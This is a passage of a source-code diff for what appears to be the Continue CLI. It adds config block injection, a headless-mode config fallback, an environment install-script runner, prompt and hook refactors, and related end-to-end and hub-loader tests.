this.injectMcps(enhancedConfig, options.mcp); - } - - // Apply models - if (options.model && options.model.length > 0) { - enhancedConfig = await this.injectModels(enhancedConfig, options.model); - } - - // Apply prompts - if (options.prompt && options.prompt.length > 0) { - enhancedConfig = await this.injectPrompts(enhancedConfig, options.prompt); - } - - return enhancedConfig; - } - - /** - * Inject rules into the system message - */ - private async injectRules( - config: AssistantUnrolled, - rules: string[], - ): Promise { - const processedRules: Rule[] = []; - - for (const ruleSpec of rules) { - try { - const processedContent = await processRule(ruleSpec); - - // Check if this is a hub slug (contains / but doesn't start with . or /) - const isHubSlug = - ruleSpec.includes("/") && - !ruleSpec.startsWith(".") && - !ruleSpec.startsWith("/"); - - if (isHubSlug) { - // Store as RuleObject with name (slug) and rule (content) - processedRules.push({ - name: ruleSpec, - rule: processedContent, - }); - } else { - // Store as plain string for file paths or direct content - processedRules.push(processedContent); - } - } catch (error: any) { - logger.warn(`Failed to process rule "${ruleSpec}": ${error.message}`); - } - } - - // Clone the config to avoid mutating the original - const modifiedConfig = { ...config }; - - // Add processed rules to the config's rules array - if (processedRules.length > 0) { - // Combine with existing rules if any - const existingRules = modifiedConfig.rules || []; - modifiedConfig.rules = [...existingRules, ...processedRules]; - } - - return modifiedConfig; - } - - /** - * Inject MCP servers into the configuration - */ - private async injectMcps( - config: AssistantUnrolled, - mcps: string[], - ): Promise { - const processedMcps = await loadPackagesFromHub(mcps, mcpProcessor); - - // Clone the config to avoid mutating the original - const modifiedConfig = { ...config }; - - // Prepend processed MCPs to existing mcpServers array for consistency - const existingMcpServers = (modifiedConfig as any).mcpServers || []; - (modifiedConfig as any).mcpServers = [ - ...processedMcps, - ...existingMcpServers, - ]; - - return modifiedConfig; - } - - /** - * Inject models into the configuration - */ - private async injectModels( - config: AssistantUnrolled, - models: string[], - ): Promise { - const processedModels = await loadPackagesFromHub(models, modelProcessor); - - // Clone the config to avoid mutating the original - const modifiedConfig = { ...config }; - - // Prepend processed models to existing models array so they become the default - const existingModels = (modifiedConfig as any).models || []; - (modifiedConfig as any).models = [...processedModels, ...existingModels]; - - return modifiedConfig; - } - - /** - * Inject prompts into the configuration - */ - private async injectPrompts( - config: AssistantUnrolled, - prompts: string[], - ): Promise { - // For prompts, we'll need a different approach since they become slash commands - // This is a placeholder implementation - logger.debug("Prompt injection not yet implemented", { prompts }); - return config; - } -} - -/** - * Global config enhancer instance - */ -export const configEnhancer = new ConfigEnhancer(); diff --git a/extensions/cli/src/configLoader.ts b/extensions/cli/src/configLoader.ts index 423875312..a95fe5d63 100644 --- a/extensions/cli/src/configLoader.ts +++ b/extensions/cli/src/configLoader.ts @@ -1,12 +1,15 @@ import * as fs from "fs"; import { dirname } from "node:path"; +import { fileURLToPath } from "node:url"; import * as path from "path"; import { AssistantUnrolled, + mergeUnrolledAssistants, PackageIdentifier, RegistryClient, unrollAssistant, + unrollAssistantFromContent, } from "@continuedev/config-yaml"; import { DefaultApiInterface } from "@continuedev/sdk/dist/api/dist/index.js"; import chalk from "chalk"; @@ -18,11 +21,11 @@ import { getConfigUri, getOrganizationId, isEnvironmentAuthConfig, - loadAuthConfig, updateConfigUri, } from "./auth/workos.js"; import { CLIPlatformClient } from "./CLIPlatformClient.js"; import { env } from "./env.js"; +import { logger } from "./util/logger.js"; export interface ConfigLoadResult { config: AssistantUnrolled; @@ -34,7 +37,8 @@ export type ConfigSource = | { type: "saved-uri"; uri: string } | { type: "user-assistant"; slug: string } | { type: "default-config-yaml" } - | { type: "default-agent" }; + | { type: "default-agent" } + | { type: "no-config" }; /** * Streamlined configuration loader that implements the specification @@ -44,12 +48,18 @@ export async function loadConfiguration( authConfig: AuthConfig, cliConfigPath: string | undefined, apiClient: DefaultApiInterface, + injectBlocks: PackageIdentifier[], + isHeadless: boolean | undefined, ): Promise { const organizationId = getOrganizationId(authConfig); const accessToken = getAccessToken(authConfig); // Step 1: Determine config source using precedence rules - const configSource = determineConfigSource(authConfig, cliConfigPath); + const configSource = determineConfigSource( + authConfig, + cliConfigPath, + isHeadless, + ); // Step 2: Load configuration from the determined source const config = await loadFromSource( @@ -57,6 +67,7 @@ export async function loadConfiguration( accessToken, organizationId ?? null, apiClient, + injectBlocks, ); // Step 3: Save config URI for session continuity (only for file-based auth) @@ -79,6 +90,7 @@ export async function loadConfiguration( function determineConfigSource( authConfig: AuthConfig, cliConfigPath: string | undefined, + isHeadless: boolean | undefined, ): ConfigSource { // Priority 1: CLI --config flag if (cliConfigPath) { @@ -88,8 +100,25 @@ function determineConfigSource( // Priority 2: Saved config URI (only for file-based auth) if (!isEnvironmentAuthConfig(authConfig) && authConfig !== null) { const savedUri = getConfigUri(authConfig); + if (savedUri) { - return { type: "saved-uri", uri: savedUri }; + if (savedUri.startsWith("file:")) { + let exists = false; // wrote like this for nested depth linting rule lol + try { + const filepath = fileURLToPath(savedUri); + exists = fs.existsSync(filepath); + } catch (e) { + logger.warn("Invalid saved file URI " + savedUri, e); + } + if (exists) { + return { type: "saved-uri", uri: savedUri }; + } else { + logger.warn("Saved config URI does not exist: " + savedUri); + } + } else { + // slug + return { type: "saved-uri", uri: savedUri }; + } } } @@ -102,6 +131,10 @@ function determineConfigSource( } return { type: "default-agent" }; } else { + // In headless, user assistant fallback behavior isn't supported + if (isHeadless) { + return { type: "default-agent" }; + } // Authenticated: try user assistants first return { type: "user-assistant", slug: "" }; // Empty slug means "first available" } @@ -115,6 +148,7 @@ async function loadFromSource( accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, + injectBlocks: PackageIdentifier[], ): Promise { try { switch (source.type) { @@ -124,6 +158,7 @@ async function loadFromSource( accessToken, organizationId, apiClient, + injectBlocks, ); case "saved-uri": @@ -132,21 +167,40 @@ async function loadFromSource( accessToken, organizationId, apiClient, + injectBlocks, ); case "user-assistant": - return await loadUserAssistantWithFallback(organizationId, apiClient); + return await loadUserAssistantWithFallback( + organizationId, + apiClient, + accessToken, + injectBlocks, + ); case "default-config-yaml": return await loadDefaultConfigYaml( accessToken, organizationId, apiClient, + injectBlocks, ); case "default-agent": - return await loadDefaultAgent(organizationId, apiClient); + return await loadDefaultAgent( + organizationId, + apiClient, + accessToken, + injectBlocks, + ); + case "no-config": + return await unrollPackageIdentifiersAsConfigYaml( + injectBlocks, + accessToken, + organizationId, + apiClient, + ); default: throw new Error(`Unknown config source type: ${(source as any).type}`); } @@ -158,7 +212,12 @@ async function loadFromSource( "Failed to load user assistants, falling back to default agent", ), ); - return await loadDefaultAgent(organizationId, apiClient); + return await loadDefaultAgent( + organizationId, + apiClient, + accessToken, + injectBlocks, + ); } throw error; } @@ -173,6 +232,7 @@ async function loadFromCliFlag( accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, + injectBlocks: PackageIdentifier[], ): Promise { if (isFilePath(configPath)) { // Load local YAML file @@ -181,10 +241,17 @@ async function loadFromCliFlag( accessToken, organizationId, apiClient, + injectBlocks, ); } else { // Load assistant slug - return await loadAssistantSlug(configPath, organizationId, apiClient); + return await loadAssistantSlug( + configPath, + accessToken, + organizationId, + apiClient, + injectBlocks, + ); } } @@ -196,6 +263,7 @@ async function loadFromSavedUri( accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, + injectBlocks: PackageIdentifier[], ): Promise { const filePath = uriToPath(uri); if (filePath) { @@ -204,12 +272,19 @@ async function loadFromSavedUri( accessToken, organizationId, apiClient, + injectBlocks, ); } const slug = uriToSlug(uri); if (slug) { - return await loadAssistantSlug(slug, organizationId, apiClient); + return await loadAssistantSlug( + slug, + accessToken, + organizationId, + apiClient, + injectBlocks, + ); } throw new Error(`Invalid saved config URI: ${uri}`); @@ -221,6 +296,8 @@ async function loadFromSavedUri( async function loadUserAssistantWithFallback( organizationId: string | null, apiClient: DefaultApiInterface, + accessToken: string | null, + injectBlocks: PackageIdentifier[], ): Promise { const assistants = await apiClient.listAssistants({ alwaysUseProxy: "false", @@ -240,12 +317,27 @@ async function loadUserAssistantWithFallback( "Failed to load assistant.", ); } + let apiConfig = result.config as AssistantUnrolled; + if (injectBlocks.length > 0) { + const injectedConfig = await unrollPackageIdentifiersAsConfigYaml( + injectBlocks, + accessToken, + organizationId, + apiClient, + ); + apiConfig = mergeUnrolledAssistants(apiConfig, injectedConfig); + } - return result.config as AssistantUnrolled; + return apiConfig; } // No user assistants, fall back to default agent - return await loadDefaultAgent(organizationId, apiClient); + return await loadDefaultAgent( + organizationId, + apiClient, + accessToken, + injectBlocks, + ); } /** @@ -255,6 +347,7 @@ async function loadDefaultConfigYaml( accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, + injectBlocks: PackageIdentifier[], ): Promise { const defaultConfigPath = path.join(env.continueHome, "config.yaml"); return await loadConfigYaml( @@ -262,6 +355,7 @@ async function loadDefaultConfigYaml( accessToken, organizationId, apiClient, + injectBlocks, ); } @@ -271,6 +365,8 @@ async function loadDefaultConfigYaml( async function loadDefaultAgent( organizationId: string | null, apiClient: DefaultApiInterface, + accessToken: string | null, + injectBlocks: PackageIdentifier[], ): Promise { const resp = await apiClient.getAssistant({ ownerSlug: "continuedev", @@ -281,18 +377,65 @@ async function loadDefaultAgent( if (!resp.configResult.config) { throw new Error("Failed to load default agent."); } + let apiConfig = resp.configResult.config as AssistantUnrolled; + if (injectBlocks.length > 0) { + const injectedConfig = await unrollPackageIdentifiersAsConfigYaml( + injectBlocks, + accessToken, + organizationId, + apiClient, + ); + apiConfig = mergeUnrolledAssistants(apiConfig, injectedConfig); + } - return resp.configResult.config as AssistantUnrolled; + return apiConfig; +} + +export async function unrollPackageIdentifiersAsConfigYaml( + packageIdentifiers: PackageIdentifier[], + accessToken: string | null, + organizationId: string | null, + apiClient: DefaultApiInterface, +): Promise { + const unrollResult = await unrollAssistantFromContent( + { + uriType: "file", + fileUri: "", + }, + "name: Agent\nschema: v1\nversion: 0.0.1", + new RegistryClient({ + accessToken: accessToken ?? undefined, + apiBase: env.apiBase, + rootPath: undefined, // TODO verify this doesn't cause issues with file blocks + }), + { + currentUserSlug: "", + onPremProxyUrl: null, + orgScopeId: organizationId, + platformClient: new CLIPlatformClient(organizationId, apiClient), + renderSecrets: true, + injectBlocks: packageIdentifiers, + }, + ); + if (unrollResult.errors) { + const fatalError = unrollResult.errors?.find((e) => e.fatal); + if (fatalError) { + throw new Error(`Failed to load config: ${fatalError.message}`); + } + } + if (!unrollResult?.config) { + throw new Error(`Failed to load config`); + } + + return unrollResult.config; } -/** - * Common function to unroll an assistant with consistent configuration - */ async function unrollAssistantWithConfig( packageIdentifier: PackageIdentifier, accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, + injectBlocks: PackageIdentifier[], ): Promise { const unrollResult = await unrollAssistant( packageIdentifier, @@ -311,7 +454,7 @@ async function unrollAssistantWithConfig( renderSecrets: true, platformClient: new CLIPlatformClient(organizationId, apiClient), onPremProxyUrl: null, - injectBlocks: [], + injectBlocks, }, ); @@ -337,12 +480,14 @@ async function loadConfigYaml( accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, + injectBlocks: PackageIdentifier[], ): Promise { return await unrollAssistantWithConfig( { fileUri: filePath, uriType: "file" }, accessToken, organizationId, apiClient, + injectBlocks, ); } @@ -351,8 +496,10 @@ async function loadConfigYaml( */ async function loadAssistantSlug( slug: string, + accessToken: string | null, organizationId: string | null, apiClient: DefaultApiInterface, + injectBlocks: PackageIdentifier[], ): Promise { const [ownerSlug, packageSlug] = slug.split("/"); if (!ownerSlug || !packageSlug) { @@ -360,7 +507,6 @@ async function loadAssistantSlug( `Invalid assistant slug format. Expected "owner/package", got: ${slug}`, ); } - // Unroll locally if not logged in if (!(apiClient as any).configuration.accessToken) { return await unrollAssistantWithConfig( @@ -368,9 +514,10 @@ async function loadAssistantSlug( uriType: "slug", fullSlug: { ownerSlug, packageSlug, versionSlug: "latest" }, }, - getAccessToken(loadAuthConfig()), + accessToken ?? null, organizationId, apiClient, + injectBlocks, ); } @@ -389,8 +536,18 @@ async function loadAssistantSlug( "Failed to load assistant.", ); } + let apiConfig = result.config as AssistantUnrolled; + if (injectBlocks.length > 0) { + const injectedConfig = await unrollPackageIdentifiersAsConfigYaml( + injectBlocks, + accessToken, + organizationId, + apiClient, + ); + apiConfig = mergeUnrolledAssistants(apiConfig, injectedConfig); + } - return result.config as AssistantUnrolled; + return apiConfig; } /** diff --git a/extensions/cli/src/e2e/headless-anthropic-api-key.test.ts b/extensions/cli/src/e2e/headless-anthropic-api-key.test.ts index a13823c69..ccb2437c9 100644 --- a/extensions/cli/src/e2e/headless-anthropic-api-key.test.ts +++ b/extensions/cli/src/e2e/headless-anthropic-api-key.test.ts @@ -8,8 +8,8 @@ import { } from "../test-helpers/cli-helpers.js"; import { cleanupMockLLMServer, - type MockLLMServer, createMockLLMServer, + type MockLLMServer, } from "../test-helpers/mock-llm-server.js"; describe("E2E: Headless Mode with ANTHROPIC_API_KEY", () => { @@ -80,9 +80,9 @@ models: expect(userMessage.content).toBe("Hi there"); }, 20000); - it("should create config and work with ANTHROPIC_API_KEY when no config exists", async () => { + it("should create config but fail with invalid API key when no config exists", async () => { // This test verifies that CLI automatically creates config from ANTHROPIC_API_KEY - // when no config file exists in headless mode + // when no config file exists, but fails when the API key is invalid const result = await runCLI(context, { args: ["-p", "test prompt"], @@ -90,13 +90,17 @@ models: ANTHROPIC_API_KEY: "TEST-test-invalid-key-format", CONTINUE_GLOBAL_DIR: context.testDir + "/.continue", }, - expectError: false, // Config creation succeeds even with invalid key + expectError: true, // API call should fail with invalid key timeout: 15000, }); - // The CLI should create config and exit successfully in headless mode - // (it doesn't actually make API calls unless there's a valid provider setup) - expect(result.exitCode).toBe(0); + // The CLI should create config but fail due to invalid API key + // This is expected behavior - invalid API keys should cause authentication errors + expect(result.exitCode).toBe(1); + + // Should contain authentication error (not service initialization error) + expect(result.stderr).toContain("authentication_error"); + expect(result.stderr).toContain("invalid x-api-key"); // Should NOT contain the old error about service initialization expect(result.stderr).not.toContain("Failed to initialize ConfigService"); @@ -111,7 +115,7 @@ models: if (configExists) { const configContent = await fs.readFile(configPath, "utf-8"); - expect(configContent).toContain("anthropic/claude-4-sonnet"); + expect(configContent).toContain("anthropic/claude-sonnet-4-5"); expect(configContent).toContain( "ANTHROPIC_API_KEY: TEST-test-invalid-key-format", ); diff --git a/extensions/cli/src/e2e/headless-missing-prompt.test.ts b/extensions/cli/src/e2e/headless-missing-prompt.test.ts index 18d38f7cd..762461312 100644 --- a/extensions/cli/src/e2e/headless-missing-prompt.test.ts +++ b/extensions/cli/src/e2e/headless-missing-prompt.test.ts @@ -147,4 +147,32 @@ models: "A prompt is required when using the -p/--print flag", ); }); + + it("should not require prompt when using --agent flag with -p", async () => { + await createTestConfig( + context, + `name: Test Assistant +version: 1.0.0 +schema: v1 +models: + - model: gpt-4 + provider: openai + apiKey: test-key + roles: + - chat`, + ); + + const result = await runCLI(context, { + args: ["-p", "--config", context.configPath, "--agent", "test/agent"], + env: { OPENAI_API_KEY: "test-key" }, + expectError: true, // Will fail trying to load agent from hub, but should pass prompt validation + timeout: 5000, + }); + + // Should NOT show the "prompt required" error message + const output = result.stderr + result.stdout; + expect(output).not.toContain( + "A prompt is required when using the -p/--print flag", + ); + }); }); diff --git a/extensions/cli/src/e2e/headless-permission-error.test.ts b/extensions/cli/src/e2e/headless-permission-error.test.ts new file mode 100644 index 000000000..baacb86b6 --- /dev/null +++ b/extensions/cli/src/e2e/headless-permission-error.test.ts @@ -0,0 +1,152 @@ +/** + * E2E test for headless mode permission errors + * Verifies that when a tool requires permission in headless mode, + * an appropriate error message is displayed suggesting the --auto flag + */ +import * as http from "http"; + +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +import { + cleanupTestContext, + createTestContext, + runCLI, +} from "../test-helpers/cli-helpers.js"; +import { + cleanupMockLLMServer, + setupMockLLMTest, + type MockLLMServer, +} from "../test-helpers/mock-llm-server.js"; + +describe("E2E: Headless Mode Permission Errors", () => { + let context: any; + let mockServer: MockLLMServer; + + beforeEach(async () => { + context = await createTestContext(); + }); + + afterEach(async () => { + if (mockServer) { + await cleanupMockLLMServer(mockServer); + } + await cleanupTestContext(context); + }); + + it("should succeed with --auto flag when tool requires permission", async () => { + // Set up mock LLM to return a Write tool call + mockServer = await setupMockLLMTest(context, { + customHandler: (req: http.IncomingMessage, res: http.ServerResponse) => { + let body = ""; + req.on("data", (chunk) => { + body += chunk.toString(); + }); + + req.on("end", () => { + if (req.method === "POST" && req.url === "/chat/completions") { + res.writeHead(200, { + "Content-Type": "text/event-stream", + "Cache-Control": "no-cache", + Connection: "keep-alive", + }); + + // Send a Write tool call + res.write( + `data: {"choices":[{"delta":{"tool_calls":[{"index":0,"id":"call_write","type":"function","function":{"name":"Write"}}]},"index":0}]}\n\n`, + ); + res.write( + `data: {"choices":[{"delta":{"tool_calls":[{"index":0,"function":{"arguments":"{\\"filepath\\":\\"test.txt\\",\\"content\\":\\"hello\\"}"}}]},"index":0}]}\n\n`, + ); + + // Send usage data + res.write( + `data: {"usage":{"prompt_tokens":10,"completion_tokens":20}}\n\n`, + ); + + // End the stream + res.write(`data: [DONE]\n\n`); + res.end(); + } else { + res.writeHead(404); + res.end("Not found"); + } + }); + }, + }); + + // Run CLI with --auto flag + const result = await runCLI(context, { + args: [ + "-p", + "--auto", + "--config", + context.configPath, + "Create a file test.txt", + ], + timeout: 15000, + }); + + // Should succeed + expect(result.exitCode).toBe(0); + expect(result.stderr).not.toContain("requires permission"); + }, 20000); + + it("should succeed with --allow flag for specific tool", async () => { + // Set up mock LLM to return a Write tool call + mockServer = await setupMockLLMTest(context, { + customHandler: (req: http.IncomingMessage, res: http.ServerResponse) => { + let body = ""; + req.on("data", (chunk) => { + body += chunk.toString(); + }); + + req.on("end", () => { + if (req.method === "POST" && req.url === "/chat/completions") { + res.writeHead(200, { + "Content-Type": "text/event-stream", + "Cache-Control": "no-cache", + Connection: "keep-alive", + }); + + // Send a Write tool call + res.write( + `data: {"choices":[{"delta":{"tool_calls":[{"index":0,"id":"call_write","type":"function","function":{"name":"Write"}}]},"index":0}]}\n\n`, + ); + res.write( + `data: {"choices":[{"delta":{"tool_calls":[{"index":0,"function":{"arguments":"{\\"filepath\\":\\"test.txt\\",\\"content\\":\\"hello\\"}"}}]},"index":0}]}\n\n`, + ); + + // Send usage data + res.write( + `data: {"usage":{"prompt_tokens":10,"completion_tokens":20}}\n\n`, + ); + + // End the stream + res.write(`data: [DONE]\n\n`); + res.end(); + } else { + res.writeHead(404); + res.end("Not found"); + } + }); + }, + }); + + // Run CLI with --allow Write flag + const result = await runCLI(context, { + args: [ + "-p", + "--allow", + "Write", + "--config", + context.configPath, + "Create a file test.txt", + ], + timeout: 15000, + }); + + // Should succeed + expect(result.exitCode).toBe(0); + expect(result.stderr).not.toContain("requires permission"); + }, 20000); +}); diff --git a/extensions/cli/src/environment/environmentHandler.ts b/extensions/cli/src/environment/environmentHandler.ts new file mode 100644 index 000000000..55afac91a --- /dev/null +++ b/extensions/cli/src/environment/environmentHandler.ts @@ -0,0 +1,123 @@ +import { exec } from "child_process"; +import { existsSync, readFileSync } from "fs"; +import path from "path"; +import { promisify } from "util"; + +import chalk from "chalk"; + +const execAsync = promisify(exec); + +import { formatError } from "../util/formatError.js"; +import { logger } from "../util/logger.js"; + +interface EnvironmentConfig { + install?: string; +} + +const ENVIRONMENT_FILE_NAME = "environment.json"; +const ENVIRONMENT_SEARCH_PATHS = [".continue"]; + +/** + * Finds and reads the environment.json file + */ +function findEnvironmentFile(): EnvironmentConfig | null { + for (const searchPath of ENVIRONMENT_SEARCH_PATHS) { + const environmentPath = path.join( + process.cwd(), + searchPath, + ENVIRONMENT_FILE_NAME, + ); + + if (existsSync(environmentPath)) { + try { + const content = readFileSync(environmentPath, "utf-8"); + const config = JSON.parse(content) as EnvironmentConfig; + logger.debug(`Found environment.json at: ${environmentPath}`); + return config; + } catch (error) { + logger.error( + `Failed to parse environment.json at ${environmentPath}: ${formatError(error)}`, + ); + return null; + } + } + } + + logger.debug("No environment.json file found"); + return null; +} + +/** + * Runs the install script from environment.json if present + * Now runs asynchronously to avoid blocking server startup + */ +export async function runEnvironmentInstall(): Promise { + const environmentConfig = findEnvironmentFile(); + + if (!environmentConfig || !environmentConfig.install) { + logger.debug("No install script found in environment.json, skipping..."); + return; + } + + const installScript = environmentConfig.install; + logger.debug( + chalk.blue( + `\nRunning environment install script: ${chalk.dim(installScript)}`, + ), + ); + + try { + await execAsync(installScript, { + cwd: process.cwd(), + encoding: "utf-8", + }); + + logger.debug( + chalk.green("✓ Environment install script completed successfully"), + ); + } catch (error) { + logger.error(`Environment install script failed: ${formatError(error)}`); + throw new Error( + `Failed to run environment install script: ${formatError(error)}`, + ); + } +} + +/** + * Runs the install script from environment.json if present, with error handling + * This version doesn't throw errors to avoid blocking server startup + */ +export async function runEnvironmentInstallSafe(): Promise { + const environmentConfig = findEnvironmentFile(); + + if (!environmentConfig || !environmentConfig.install) { + logger.debug("No environment install script to run"); + return; + } + + logger.debug( + chalk.blue("Running environment install script in background..."), + ); + + try { + await runEnvironmentInstall(); + logger.debug( + chalk.green("✓ Environment install script completed successfully"), + ); + } catch (error) { + logger.error( + chalk.yellow("Warning: Environment install script failed:"), + formatError(error), + ); + logger.error( + chalk.dim("Server will continue to run without the install script."), + ); + } +} + +/** + * Gets the environment configuration if available + */ +export function getEnvironmentConfig(): EnvironmentConfig | null { + return findEnvironmentFile(); +} diff --git a/extensions/cli/src/freeTrialTransition.ts b/extensions/cli/src/freeTrialTransition.ts index 5f6217345..484b9d672 100644 --- a/extensions/cli/src/freeTrialTransition.ts +++ b/extensions/cli/src/freeTrialTransition.ts @@ -3,15 +3,16 @@ import * as fs from "fs"; import * as path from "path"; import chalk from "chalk"; +import { setConfigFilePermissions } from "core/util/paths.js"; import open from "open"; -import * as readlineSync from "readline-sync"; import { env } from "./env.js"; import { - isValidAnthropicApiKey, getApiKeyValidationError, + isValidAnthropicApiKey, } from "./util/apiKeyValidation.js"; import { gracefulExit } from "./util/exit.js"; +import { question, questionWithChoices } from "./util/prompt.js"; import { updateAnthropicModelInYaml } from "./util/yamlConfigUpdater.js"; const CONFIG_PATH = path.join(env.continueHome, "config.yaml"); @@ -32,6 +33,7 @@ async function createOrUpdateConfig(apiKey: string): Promise { const updatedContent = updateAnthropicModelInYaml(existingContent, apiKey); fs.writeFileSync(CONFIG_PATH, updatedContent); + setConfigFilePermissions(CONFIG_PATH); } /** @@ -52,10 +54,12 @@ export async function handleMaxedOutFreeTrial( console.log(chalk.white("1. 💳 Sign up for models add-on")); console.log(chalk.white("2. 🔑 Enter your Anthropic API key")); - const choice = readlineSync.question(chalk.yellow("\nEnter choice (1): "), { - limit: ["1", "2", ""], - limitMessage: chalk.dim("Please enter 1 or 2"), - }); + const choice = await questionWithChoices( + chalk.yellow("\nEnter choice (1): "), + ["1", "2", ""], + "1", + chalk.dim("Please enter 1 or 2"), + ); if (choice === "1" || choice === "") { // Option 1: Open models setup page @@ -81,15 +85,12 @@ export async function handleMaxedOutFreeTrial( } // Wait for user to acknowledge - readlineSync.question(chalk.dim("\nPress Enter to exit...")); + await question(chalk.dim("\nPress Enter to exit...")); await gracefulExit(0); } else if (choice === "2") { // Option 2: Enter Anthropic API key - const apiKey = readlineSync.question( + const apiKey = await question( chalk.white("\nEnter your Anthropic API key: "), - { - hideEchoBack: true, - }, ); if (!isValidAnthropicApiKey(apiKey)) { diff --git a/extensions/cli/src/hooks/useService.ts b/extensions/cli/src/hooks/useService.ts index dcbbd57b8..d659652f4 100644 --- a/extensions/cli/src/hooks/useService.ts +++ b/extensions/cli/src/hooks/useService.ts @@ -1,4 +1,4 @@ -import { useEffect, useState } from "react"; +import { useCallback, useEffect, useState } from "react"; import { useServiceContainer } from "../services/ServiceContainerContext.js"; import { ServiceResult } from "../services/types.js"; @@ -96,47 +96,54 @@ export function useServices>( allReady: boolean; } { const container = useServiceContainer(); - const [services, setServices] = useState>({}); + + const getServiceStates = useCallback(() => { + const services: Partial = {}; + let hasLoading = false; + let hasError: Error | null = null; + + for (const serviceName of serviceNames) { + const result = container.getSync(serviceName as string); + + if (result.state === "loading") { + hasLoading = true; + } else if (result.state === "error") { + hasError = result.error; + } else if (result.state === "idle") { + // Auto-load idle services + container.load(serviceName as string).catch(() => {}); + } else if (result.state === "ready" && result.value !== null) { + services[serviceName] = result.value as T[keyof T]; + } else { + } + } + + return { + hasLoading, + hasError, + services, + }; + }, [serviceNames, container]); + const [loading, setLoading] = useState(true); const [error, setError] = useState(null); + const [services, setServices] = useState>( + getServiceStates().services, + ); useEffect(() => { - const updateState = () => { - const newServices: Partial = {}; - let hasLoading = false; - let hasError: Error | null = null; - - for (const serviceName of serviceNames) { - const result = container.getSync(serviceName as string); - - if (result.state === "loading") { - hasLoading = true; - } else if (result.state === "error") { - hasError = result.error; - } else if (result.state === "idle") { - // Auto-load idle services - container.load(serviceName as string).catch(() => {}); - } else if (result.state === "ready" && result.value !== null) { - newServices[serviceName] = result.value as T[keyof T]; - } else { - } - } - - setServices(newServices); - setLoading(hasLoading); - setError(hasError); - }; - - // Initial state - updateState(); - // Set up listeners for all services const listeners: Array<() => void> = []; for (const serviceName of serviceNames) { const name = serviceName as string; - const onAnyChange = () => updateState(); + const onAnyChange = () => { + const { hasLoading, hasError, services } = getServiceStates(); + setLoading(hasLoading); + setError(hasError); + setServices(services); + }; container.on(`${name}:loading`, onAnyChange); container.on(`${name}:ready`, onAnyChange); @@ -155,7 +162,7 @@ export function useServices>( return () => { listeners.forEach((cleanup) => cleanup()); }; - }, [serviceNames.join(","), container]); + }, [serviceNames.join(","), container, getServiceStates]); const allReady = serviceNames.every((name) => container.isReady(name as string), diff --git a/extensions/cli/src/hubLoader.test.ts b/extensions/cli/src/hubLoader.test.ts index b19d32f97..590998566 100644 --- a/extensions/cli/src/hubLoader.test.ts +++ b/extensions/cli/src/hubLoader.test.ts @@ -1,12 +1,22 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; -import { +import { getAccessToken, loadAuthConfig } from "./auth/workos.js"; +import * as hubLoader from "./hubLoader.js"; + +// Mock auth functions +vi.mock("./auth/workos.js", () => ({ + loadAuthConfig: vi.fn(), + getAccessToken: vi.fn(), +})); + +const { loadPackageFromHub, mcpProcessor, modelProcessor, promptProcessor, ruleProcessor, -} from "./hubLoader.js"; + processRule, +} = hubLoader; // Store the original fetch before any mocking const originalFetch = global.fetch; @@ -25,6 +35,9 @@ const mockedJSZip = vi.fn(); describe("hubLoader", () => { beforeEach(async () => { vi.clearAllMocks(); + // Reset auth mocks to default state + (loadAuthConfig as any).mockReturnValue(null); + (getAccessToken as any).mockReturnValue(null); }); describe("loadPackageFromHub", () => { @@ -37,6 +50,9 @@ describe("hubLoader", () => { }); it("should handle HTTP errors", async () => { + (loadAuthConfig as any).mockReturnValue(null); + (getAccessToken as any).mockReturnValue(null); + mockFetch.mockResolvedValueOnce({ ok: false, status: 404, @@ -50,7 +66,108 @@ describe("hubLoader", () => { ); }); + it("should make request without auth headers when not authenticated", async () => { + (loadAuthConfig as any).mockReturnValue(null); + (getAccessToken as any).mockReturnValue(null); + + const JSZipModule = await import("jszip"); + const JSZip = JSZipModule.default; + + if (typeof (JSZip as any).mockImplementation === "function") { + (JSZip as any).mockImplementation(() => ({ + loadAsync: vi.fn().mockResolvedValueOnce({ + files: { + "README.md": { + dir: false, + async: vi.fn().mockResolvedValue("rule content"), + }, + }, + }), + })); + } else { + return; + } + + mockFetch.mockResolvedValueOnce({ + ok: true, + arrayBuffer: vi.fn().mockResolvedValue(new ArrayBuffer(8)), + }); + + await loadPackageFromHub("owner/rule", ruleProcessor); + + expect(mockFetch).toHaveBeenCalledWith(expect.any(URL), { headers: {} }); + }); + + it("should include Authorization header when authenticated", async () => { + const mockAuthConfig = { + accessToken: "test-token-123", + userId: "user123", + }; + (loadAuthConfig as any).mockReturnValue(mockAuthConfig); + (getAccessToken as any).mockReturnValue("test-token-123"); + + const JSZipModule = await import("jszip"); + const JSZip = JSZipModule.default; + + if (typeof (JSZip as any).mockImplementation === "function") { + (JSZip as any).mockImplementation(() => ({ + loadAsync: vi.fn().mockResolvedValueOnce({ + files: { + "README.md": { + dir: false, + async: vi.fn().mockResolvedValue("rule content"), + }, + }, + }), + })); + } else { + return; + } + + mockFetch.mockResolvedValueOnce({ + ok: true, + arrayBuffer: vi.fn().mockResolvedValue(new ArrayBuffer(8)), + }); + + await loadPackageFromHub("owner/rule", ruleProcessor); + + expect(mockFetch).toHaveBeenCalledWith(expect.any(URL), { + headers: { + Authorization: "Bearer test-token-123", + }, + }); + }); + + it("should include Authorization header for MCP requests when authenticated", async () => { + const mockAuthConfig = { + accessToken: "test-token-456", + userId: "user456", + }; + (loadAuthConfig as any).mockReturnValue(mockAuthConfig); + (getAccessToken as any).mockReturnValue("test-token-456"); + + const mcpConfig = { + content: "name: test-mcp\nversion: 1.0.0", + }; + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: vi.fn().mockResolvedValue(mcpConfig), + }); + + await loadPackageFromHub("owner/mcp", mcpProcessor); + + expect(mockFetch).toHaveBeenCalledWith(expect.any(URL), { + headers: { + Authorization: "Bearer test-token-456", + }, + }); + }); + it("should load rule content", async () => { + (loadAuthConfig as any).mockReturnValue(null); + (getAccessToken as any).mockReturnValue(null); + const ruleContent = "# Test Rule\n\nThis is a test rule."; // Check if JSZip is mocked @@ -84,6 +201,9 @@ describe("hubLoader", () => { }); it("should load MCP configuration", async () => { + (loadAuthConfig as any).mockReturnValue(null); + (getAccessToken as any).mockReturnValue(null); + const mcpConfig = { content: "name: test-mcp\nversion: 1.0.0", }; @@ -102,6 